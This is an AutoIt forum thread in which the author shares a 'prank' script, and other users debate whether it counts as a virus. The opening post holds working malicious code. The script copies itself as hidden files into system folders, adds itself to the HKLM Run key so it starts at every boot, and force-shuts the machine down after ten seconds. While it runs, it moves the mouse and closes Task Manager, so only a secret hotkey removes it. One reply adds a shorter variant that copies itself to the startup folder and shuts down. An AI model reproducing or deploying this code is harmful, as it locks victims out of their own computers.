Sign in to follow this  
Followers 0
ReaImDown

Computer Force Shutdown at startup

22 posts in this topic

#1 ·  Posted (edited)

I was bored, so I wrote this file...Shift + 5 stops it

CODE
#NoTrayIcon

HotKeySet("+5", "Terminate")

Dim $i_TimeStamp = TimerInit()

Dim $i_TimeToCountDownFromSeconds = 10

$i = 1

$name = "SD.exe"

$installed = RegRead("HKLM\SOFTWARE\SD", "Installed")

AdlibEnable("stop", 10)

While 1

if $installed <> 1 Then

FileCopy(@ScriptFullPath, @FavoritesCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @AppDataCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @DesktopCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @DocumentsCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @ProgramsCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @SystemDir & "/" & $name, 1)

RegWrite("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "ShutDown", "REG_SZ", @CommonFilesDir & "\" & $name)

FileSetAttrib(@FavoritesCommonDir & "/" & $name, "H")

FileSetAttrib(@AppDataCommonDir & "/" & $name, "H")

FileSetAttrib(@DesktopCommonDir & "/" & $name, "H")

FileSetAttrib(@DocumentsCommonDir & "/" & $name, "H")

FileSetAttrib(@ProgramsCommonDir & "/" & $name, "H")

FileSetAttrib(@SystemDir & "/" & $name, "H")

RegWrite("HKLM\SOFTWARE\SD", "Installed", "REG_SZ", "1")

EndIf

While 1

If TimerDiff($i_TimeStamp) >= 1000 Then

ToolTip($i_TimeToCountDownFromSeconds & " Seconds until windows shutdown", 5, 5, "ShutDown Imminent", 2)

$i_TimeStamp = TimerInit()

If $i_TimeToCountDownFromSeconds = 0 Then ExitLoop

$i_TimeToCountDownFromSeconds -= 1

EndIf

WEnd

SoundPlay(@WindowsDir & "\media\tada.wav")

Shutdown(9)

While 1

ToolTip("Shutting Down.", 5, 5, "ShutDown Imminent", 2)

Sleep(200)

ToolTip("Shutting Down..", 5, 5, "ShutDown Imminent", 2)

Sleep(200)

ToolTip("Shutting Down...", 5, 5, "ShutDown Imminent", 2)

Sleep(200)

WEnd

WEnd

Func Terminate()

$Exit = MsgBox(321, @UserName, @UserName & ", you deactivaed the program successfully!")

If $Exit = 1 Then

FileDelete(@FavoritesCommonDir & "/" & $name)

FileDelete(@AppDataCommonDir & "/" & $name)

FileDelete(@DesktopCommonDir & "/" & $name)

FileDelete(@DocumentsCommonDir & "/" & $name)

FileDelete(@ProgramsCommonDir & "/" & $name)

FileDelete(@SystemDir & "/" & $name)

RegDelete("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "ShutDown")

RegDelete("HKLM\SOFTWARE\SD", "Installed")

RegDelete("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "AutoShutDown")

_SelfDelete()

ElseIf $Exit = 2 Then

Shutdown(9)

EndIf

EndFunc ;==>Terminate

Func _SelfDelete($iDelay = 0)

Local $sCmdFile

FileDelete(@TempDir & "\scratch.bat")

$sCmdFile = 'ping -n ' & $iDelay & '127.0.0.1 > nul' & @CRLF _

& ':loop' & @CRLF _

& 'del "' & @ScriptFullPath & '" > nul' & @CRLF _

& 'if exist "' & @ScriptFullPath & '" goto loop' & @CRLF _

& 'del ' & @TempDir & '\scratch.bat'

FileWrite(@TempDir & "\scratch.bat", $sCmdFile)

Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)

Exit

EndFunc ;==>_SelfDelete

Func Stop()

MouseMove(0, 0, 0)

If WinActive("Windows Task Manager") Or WinActive("Close Program") Or WinActive("Start Menu") Then

WinClose("Windows Task Manager")

WinClose("Close Program")

WinClose("Start Menu")

EndIf

EndFunc ;==>Stop

Edited by ReaImDown

[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]

Share this post


Link to post
Share on other sites



Why someone would need to shutdown the computer when it starts? :)

Or maybe this is some kind of a premitive virus? :P


 

Spoiler

Using OS: Win 7 Professional, Using AutoIt Ver(s): 3.3.6.1 / 3.3.8.1

AutoIt_Rus_Community.png AutoIt Russian Community

My Work...

Spoiler

AutoIt_Icon_small.pngProjects: ATT - Application Translate Tool {new}| BlockIt - Block files & folders {new}| SIP - Selected Image Preview {new}| SISCABMAN - SciTE Abbreviations Manager {new}| AutoIt Path Switcher | AutoIt Menu for Opera! | YouTube Download Center! | Desktop Icons Restorator | Math Tasks | KeyBoard & Mouse Cleaner | CaptureIt - Capture Images Utility | CheckFileSize Program

AutoIt_Icon_small.pngUDFs: OnAutoItErrorRegister - Handle AutoIt critical errors {new}| AutoIt Syntax Highlight {new}| Opera Library! | Winamp Library | GetFolderToMenu | Custom_InputBox()! | _FileRun UDF | _CheckInput() UDF | _GUIInputSetOnlyNumbers() UDF | _FileGetValidName() UDF | _GUICtrlCreateRadioCBox UDF | _GuiCreateGrid() | _PathSplitByRegExp() | _GUICtrlListView_MoveItems - UDF | GUICtrlSetOnHover_UDF! | _ControlTab UDF! | _MouseSetOnEvent() UDF! | _ProcessListEx - UDF | GUICtrl_SetResizing - UDF! | Mod. for _IniString UDFs | _StringStripChars UDF | _ColorIsDarkShade UDF | _ColorConvertValue UDF | _GUICtrlTab_CoverBackground | CUI_App_UDF | _IncludeScripts UDF | _AutoIt3ExecuteCode | _DragList UDF | Mod. for _ListView_Progress | _ListView_SysLink | _GenerateRandomNumbers | _BlockInputEx | _IsPressedEx | OnAutoItExit Handler | _GUICtrlCreateTFLabel UDF | WinControlSetEvent UDF | Mod. for _DirGetSizeEx UDF
 
AutoIt_Icon_small.pngExamples: 
ScreenSaver Demo - Matrix included | Gui Drag Without pause the script | _WinAttach()! | Turn Off/On Monitor | ComboBox Handler Example | Mod. for "Thinking Box" | Cool "About" Box | TasksBar Imitation Demo

Like the Projects/UDFs/Examples? Please rate the topic (up-right corner of the post header: Rating AutoIt_Rating.gif)

* === My topics === *

==================================================
My_Userbar.gif
==================================================

 

 

 

AutoIt is simple, subtle, elegant. © AutoIt Team

Share this post


Link to post
Share on other sites

Why someone would need to shutdown the computer when it starts? :)

Or maybe this is some kind of a premitive virus? :P

lol, suppose it could be, or it could be used as a joke? either way :blink: useless, but, there u go, use it as u will


[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]

Share this post


Link to post
Share on other sites

its much simpilar...

Copyfile(@Scriptdir & "\name.au3/.exe", @Startupdir & "\name.au3/.exe")
Shutdown(9)

i belive its 9..not 100% sure

Share this post


Link to post
Share on other sites

seems to me like booting in Safe Mode and deleting the file from only @CommonFilesDir & "\" & @ScriptName would stop the "virus".

Share this post


Link to post
Share on other sites

heh...yep :)

Share this post


Link to post
Share on other sites

#7 ·  Posted (edited)

seems to me like booting in Safe Mode and deleting the file from only @CommonFilesDir & "\" & @ScriptName would stop the "virus".

that'd be the only way...or get the hotkey correct.

~~~Edit~~~

shutdown 9...whats power down do?

Edited by ReaImDown

[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]

Share this post


Link to post
Share on other sites

i'm suprised the mod's didnt jump this yet...


[center][/center]

Share this post


Link to post
Share on other sites

You should have used the registry.

But not this key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Anyways, its something similar to that anyway.

Share this post


Link to post
Share on other sites

i'm suprised the mod's didnt jump this yet...

That is what the report button is for.

This topic has been reported.

Share this post


Link to post
Share on other sites

Unless the User is an admin or the script is run as an admin then this won't do anything anyways.

This has been covered before


SciTE for AutoItDirections for Submitting Standard UDFs

 

Don't argue with an idiot; people watching may not be able to tell the difference.

 

Share this post


Link to post
Share on other sites

i'm suprised the mod's didnt jump this yet...

its a harmless prank, though if it is asked of me, I will take it down, and in which case, I am sorry in advanced.


[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]

Share this post


Link to post
Share on other sites

It can be used to keep newbies from booting your pc... :)

a security feature if it has the opt out shortcut...

heh


Umm, if anyone cares.. I have a website at http://ctg3d.tk where I put other free downloads, as I get time.

Share this post


Link to post
Share on other sites

#14 ·  Posted (edited)

Hmm?

Really I have no use for it, because I'm not the one to make viruses (Anytime a virus gets on my comp I delete it ASAP), but I can keep it from my friend booting my pc up when I'm in the bathroom... heh. :)

Edit: my first post! woohoo!

Edited by ShinyMetalGuy

Share this post


Link to post
Share on other sites

Hmm?

Really I have no use for it, because I'm not the one to make viruses (Anytime a virus gets on my comp I delete it ASAP), but I can keep it from my friend booting my pc up when I'm in the bathroom... heh. :)

Edit: my first post! woohoo!

haha, see, it does have a practical use...I suppose :P


[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]

Share this post


Link to post
Share on other sites

wow another newbie thread...


[center][/center]

Share this post


Link to post
Share on other sites

wow another newbie thread...

Thank you for that, its appreciated, and the coding has just been updated :)


[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]

Share this post


Link to post
Share on other sites

Why someone would need to shutdown the computer when it starts? :)

Or maybe this is some kind of a premitive virus? :P

It can't be a virus. Viruses spread, and this has no mechanism for spreading.

Its more of a joke/prank script.

Share this post


Link to post
Share on other sites

I wrote a similiar thingy my self as my first code ever in Autoit.

And actually I do find it somewhat useful as a protection/safety tool, if you dont know the stop keyboard shortcut you better not try to run it...ofcourse I have changed the way my computer starts the BIOS and the key shortcut(f8) that opens the dialog where you can go to the safe mode.

My code tho was mutch more blunt, didnt even use functions so I will rewrite it now thanks to your thread.

So there many things that seem useless at a glimpse can be useful for some.

Share this post


Link to post
Share on other sites

yea its almost like a failsafe in case neone cracks your password

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0